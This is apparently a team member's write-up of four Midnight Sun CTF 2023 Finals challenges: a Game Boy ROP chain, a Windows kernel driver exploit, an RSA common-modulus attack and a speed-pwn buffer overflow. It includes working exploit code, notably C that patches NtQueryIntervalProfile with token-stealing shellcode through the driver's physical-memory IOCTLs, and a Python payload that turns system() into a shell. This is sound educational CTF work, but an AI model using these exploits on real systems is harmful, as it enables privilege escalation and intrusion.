Midnight Sun CTF 2023 Finals - Writeups

The Finals of Midnight Sun CTF 2023 was held in August 19th and 20th in Stockholm, Sweden. I played the CTF as a member of TokyoWesterns and we stood 2nd place.

The final scoreboard

Midnight Sun this year had both CTF and conference.

The hotel and venue this year was great. Both were very close to the station :+1:


The challenge files and my solvers are available here:


[Pwn] guessboy

Guessboy is a gameboy pwn challenge. We're distributed a gameboy ROM file. Once we solve the challenge, we need to call the organizer to get the physical gameboy which contains the real flag.

The game is not actually a game, but looks like a calculator:

Calculator working on Gameboy

Actually I saw a similar challenge in Midnight Sun CTF 2019 Finals, which I couldn't solve at the time. According to the challenge author, however, the exploit of the challenge is different this time.

Still, I remembered the vulnerability was stack buffer overflow. The same bug exists in this challenge.

The result of a calculation is pushed to the stack. If we hit the equals (=) key, the result is pushed to the stack and the stack top increments (decrements in the memory stack). Since there is no limit on the stack top, we can easily overflow the buffer. However, you will get a crash message if you randomly overflow the buffer.

Stack smashing protection

So, there is a stack canary. The stack canary is a fixed value and you can analyse the ROM to get the correct value: 0x5858. This value is also the same as that of 2019.

The pwn part is over. The remaining part is reversing. Since we don't know where is the flag, we don't know what to do. @n4nu reversed the binary and guessed that:

  • There is a function that draws a scrambled flag on the display.
  • The flag image exists in tiles.
  • The flag is scrambled because of a wrong argument passed to the draw function.

We had to load the tiles and draw it with a right parameter. Here is the ROP chain to accomplish it:

22616 = = = = = = = = = C ; stack canary (0x5858)
20450 = C ; func1 (0x4fe2)
10596 = C ; skip  (0x2964)
65280 = C ; arg1  (0xff00)
7330 = C  ; arg2  (0x1ca2)
20699 = C ; func2 (0x50db)
464 = C   ; loop  (0x1d0)
0 = C     ; arg1  (0x0)
4628 = C  ; arg2  (0x1214)
6970 = Q  ; arg3  (0x1b3a)

[Pwn] HFSAntiCheat

A vagrant environment, Windows kernel driver, and client to submit the exploit are given. It was the first time to solve Windows kernel challenge in a CTF. I leaned a lot but also wasted a lot of time because of the different behavior between vagrant and my virtual box :cry:

While I was absent for 1v1pwn, @n4nu finished analysing the binary. The driver registers a device and a notifier routine for process creation.

When a process is created with its name set to "CHEAT", the driver checks if the PE imports some blacklisted Windows APIs. However, this routine was not related to the exploit at all.

The important feature is the device I/O control. The driver accepts two requests that directly reads from and writes to the physical memory. We have full control over the entire physical memory.

My first idea was:

  1. Leak the base address of ntoskrnl.exe.
  2. Read the pointer at HalDispatchTable+0x8, which points to NtQueryIntervalProfile.
  3. Overwrite the machine code of NtQueryIntervalProfile with our shellcode.
  4. Call NtQueryIntervalProfile to escalate privilege.

It worked fine on my VirtualBox environment. However, it didn't work on the distributed vagrant environment. I wrote "virtual to physical" address converter but it didn't work well on vagrant. If anyone is familiar with page table, please check my exploit and tell me what is wrong.

Eventually I couldn't fix the bug, and I changed the exploit 1h before the end of the CTF:

  1. Search memory for the machine code of NtQueryIntervalProfile.
  2. Overwrite the machine code with our shellcode.
  3. Call NtQueryIntervalProfile to escalate privilege.

I avoided searching memory because there was a 5-second time limit, and it is not usually stable. However, this is CTF. Faster solve is better than a beautiful exploit.

#include <windows.h>
#include <winioctl.h>
#include <stdio.h>

typedef NTSTATUS (__stdcall *_NtQueryIntervalProfile)(ULONG ProfileSource, PULONG Interval);

#define DRIVER_PATH "\\\\.\\HFSAntiCheat"
#define CMD_READ  0x220004
#define CMD_WRITE 0x220008

const char shellcode[] = "\x65\x48\x8b\x04\x25\x88\x01\x00\x00\x48\x8b\x80\xb8\x00\x00\x00\x49\x89\xc0\x4d\x8b\x80\x48\x04\x00\x00\x49\x81\xe8\x48\x04\x00\x00\x41\x83\xb8\x40\x04\x00\x00\x04\x75\xe8\x49\x8b\x88\xb8\x04\x00\x00\x80\xe1\xf0\x48\x8b\x90\xb8\x04\x00\x00\x48\x83\xe2\x07\x48\x01\xd1\x48\x89\x88\xb8\x04\x00\x00\x31\xc0\xc3";

typedef struct {
    size_t size;
    void* buffer;
    void* address;
} RWRequest;

HANDLE hDevice;

void *memmem(const void *haystack, size_t haystack_len, 
             const void * const needle, const size_t needle_len) {
  for (const char *h = haystack;
       haystack_len >= needle_len;
       ++h, --haystack_len) {
    if (!memcmp(h, needle, needle_len))
      return (void*)h;
  return NULL;

 * Physical address READ/WRITE
int pm_read(void *dst, void* src, size_t size) {
    BOOL res;
    RWRequest req;
    DWORD s;
    req.size = size;
    req.buffer = dst;
    req.address = src;
    res = DeviceIoControl(hDevice, CMD_READ, &req, sizeof(req), NULL, 0, &s, (LPOVERLAPPED)NULL);
    if (!res) puts("[-] pm_read failed");
    return res;

int pm_write(void* dst, void* src, size_t size) {
    BOOL res;
    RWRequest req;
    DWORD s;
    req.size = size;
    req.buffer = src;
    req.address = dst;
    res = DeviceIoControl(hDevice, CMD_WRITE, &req, sizeof(req), NULL, 0, &s, (LPOVERLAPPED)NULL);
    if (!res) puts("[-] pm_write failed");
    return res;

 * Entry point
int main(int argc, CHAR *argv[]) {
    unsigned long long  buf[0x200];
    DWORD size;
  _NtQueryIntervalProfile NtQueryIntervalProfile = (_NtQueryIntervalProfile)
    GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile");

    puts("[+] Exploit...");
  // Open driver
    if (hDevice == INVALID_HANDLE_VALUE) {
        puts("Cannot open device");
        return -1;

  // Search for machine code of NtQueryIntervalProfile
  for (ssize_t i = 0x2000; i < 0x10000; i++) {
    pm_read(buf, (void*)(i*0x1000), 0x1000);
    if (memmem(buf, 0x1000, "\xC4\x48\x89\x45\x20\x4D\x8B\xF8", 8) != NULL) {
      char *p = memmem(buf, 0x1000, "\xC4\x48\x89\x45\x20\x4D\x8B\xF8", 8);
      size_t ofs = p - (char*)buf;
      size_t addr = i*0x1000 + ofs - 0x20;
      pm_read(buf, (void*)addr, 8);
      if (buf[0] == 0x4154415756535540) {
        printf("Found at %016llx: %016llx\n", addr, buf[0]);
        pm_write((void*)addr, (void*)shellcode, sizeof(shellcode));

  puts("[+] Go...");

  ULONG uInterval = 1337;
  NtQueryIntervalProfile(2, &uInterval);

  puts("[+] Done!");
  DWORD s;
  char flag[0x100];
  HANDLE hFile = CreateFile("C:\\Windows\\System32\\flag.txt", GENERIC_READ, 0,
                            NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  if (hFile == INVALID_HANDLE_VALUE) {
    puts("[-] Nope...");
  } else {
    // ReadFile is prohibited by hfsanticheat.sys :(
    HANDLE hMapFile = CreateFileMapping(
        hFile,                       // ファイルハンドル
        NULL,                        // セキュリティ属性
        PAGE_READONLY,               // 読み取り専用ページ
        0,                           // ファイルのサイズ(0でファイル全体)
        0,                           // マッピングの先頭からのオフセット
        NULL                         // マッピング名
    LPVOID lpFileBase = MapViewOfFile(
        hMapFile,                    // マップされるファイルオブジェクト
        FILE_MAP_READ,               // 読み取りアクセス
        0,                           // マッピングの先頭からのオフセット
        0,                           // マッピングするバイト数(0でファイル全体)
        0                            // 開始アドレス(0で自動選択)
    printf("[+] FLAG: %s\n", lpFileBase);

    return 0;

I should've solved this challenge much faster...

[Crypto] speed-manifesto

This is a speed-run challenge. We had to solve speed-run challenges within 3rd blood to get advantage. 200 points for 1st blood, 150 for 2nd, 100 for 3rd, and 50 for the rest.

The distributed archive contains a lot of text files like this:

Public Exponent: 65537
Modulus: 8183083614123980651512525726265039763297170592399337374069708919926046325913623412792726783191923340532116587489748386113782581259412232424196738634940809
Ciphertext: b'(\xa6\xc0\xee\xb5\x9d\xd2\xc8\xe6\xa1\xb1\xcf:\x8b\xdcgx\xef\xb4\t\x7fvM@\xc8\x98\xbd\x80\xad\x13\x11\xeb\x97\xef\xc84\xd6|\x93E@\xeb\xc9\xf9\x0b\x86\xc7\x8bpKV\xe8\xa1\xa4&X\x14\\\x1a\xe3\x13\x8d\x8d6'

I guessed there would be modulus which uses the same prime. I wrote a script to take GCD of each modulus and found two files shared the same modulus with different Es.

Public Exponent: 81527149853274967867330281122861369134002594020874386569175070591393763589124283222257680735360206160019714178475186119840676412580184783642914952823718854196285068193471576875760518418570508606597801241354462995303092313113267959493950020688558073609011113475992265891863855436963447737070556709073024059749
Modulus: 105485909539302343682393765142198393869888400422595584344848080319220554344765142068633113057605072008120447995511459791164086717714452445525900872135444441922799547203637125587718326496756865379111734536835717969217501986460486866455030114291836448819270922526967276362623954616008938297593516881809069452459
Ciphertext: b"\x0c\x01\x8b\x84\x02P\x80_A\x1c|\x1f\xd7\xafP\xf7\x14\xb3\x1b\xb4\xcb\x90)\x1f\x1d/\xe0\\\x861Y]+7}\x97\xec\x9b^B\x1b\xc76\xc4 kb'\xaa\xda\xbf\x95\xeaP\x0b5\xb9Z\x7f\xe6C\xb2H.v\x18:ga\xee\xd7=}\xfb\xda\xbd\xee\xa8\x82\xf2\xc2\x1c6\\}\xd7\x005AW\xc0*hRNZ\x86\xfa\x80\xcb\t8\xbe9ad2}\x84\x82\xf2\x88h\x87\x85\xcb\x00E\xb4\xae\xb9\xd1\x15g\xbe\x18!\x8e"
Public Exponent: 90051294818134602141342465972381725307723336343068630953802954374926328987011486242807231248352006000143918922842329124501936958773012452561039323344339325165614434298436842264587505847772729164638758139465380776251275917722434711009950711165155879895556773415263339750741308013278846283398286170778381488987
Modulus: 105485909539302343682393765142198393869888400422595584344848080319220554344765142068633113057605072008120447995511459791164086717714452445525900872135444441922799547203637125587718326496756865379111734536835717969217501986460486866455030114291836448819270922526967276362623954616008938297593516881809069452459
Ciphertext: b'\x03[\xb4\xb0\x08\xde\x8b\xf9\xf4{\x04\xc8\x9c7\xc2\x84\x1f\x8e\xd4\xd0\x9f\xf4H\xe3(|\xbb\xf5N\xd9~\xbe\x13\xb8\xf5\x1a\xe8\xe21\xc2\xf2D\xb3D\x8a\n)\x14\xe2R\xad\x97\xbe\xcf\n\x1b\xf5I\xad\xf7s\x1d\xfbzq\x17\xa9\x80\xf0\xc6\xb0\x80y\xb9\x7f\xbe\xd0a~\xdf+:\xaa\x05=\xdb\x12"\xb5\x16\x1d\xb6\x12\xd5\xa5i\x9f\x19\xd3\xba\xc4\x11\x19\x9b\xd3\n\x81o\xc0\x9c\xcc\xebE{\xc5\x15\xdd\x92\xefq!h\xee\xb4\x16\x9a\xe4\xb5'

Common modulus attack.

from ptrlib import *
import glob
import re

def solve(e1, e2, c1, c2, n):
    c1 = int.from_bytes(c1, "big")
    c2 = int.from_bytes(c2, "big")
    m = common_modulus_attack((c1, c2), (e1, e2), n)
    print(int.to_bytes(m, 128, "big").strip(b'\x00'))

paths = []
es = []
ns = []
cs = []
for path in glob.glob("../distfiles/*.txt"):
    with open(path, "r") as f:
        r = re.findall(": (\d+)", f.readline())
        e = int(r[0])
        r = re.findall(": (\d+)", f.readline())
        n = int(r[0])
        r = re.findall(": (b.+)", f.readline())
        c = eval(r[0])

        for i, past_n in enumerate(ns):
            if gcd(past_n, n) != 1:
                print(path, paths[i])
                e1, e2 = e, es[i]
                c1, c2 = c, cs[i]
                solve(e1, e2, c1, c2, n)


2nd blood --> 150 points

[Pwn] speed-pwn

Yet another speedrun challenge.

The program runs the following command:

system("$PROG '<arbitrary string>'");

where $PROG is set to /bin/echo.

The input is vulnerable to stack buffer overflow.

My idea is to overwrite the array of environment variables with the pointer to "PROG=sh".

from ptrlib import *

elf = ELF("../distfiles/speed5")
#sock = Process("../distfiles/speed5")
sock = Socket("nc speed5.play.hfsc.tf 4321")

sock.sendlineafter(":", b"B"*0x20)
sock.sendlineafter(":", b"A"*0x10)

payload  = b"A" * 0x10
payload += b"PROG=sh \0"
payload += b"A"*(0x30 - len(payload))
payload += b"BBBB"
payload += b"CCCC"
payload += p32(0x804c057) * 0x40
payload += p32(0)
sock.sendlineafter(":", payload)
sock.sendlineafter(":", "")


2nd blood --> 150 points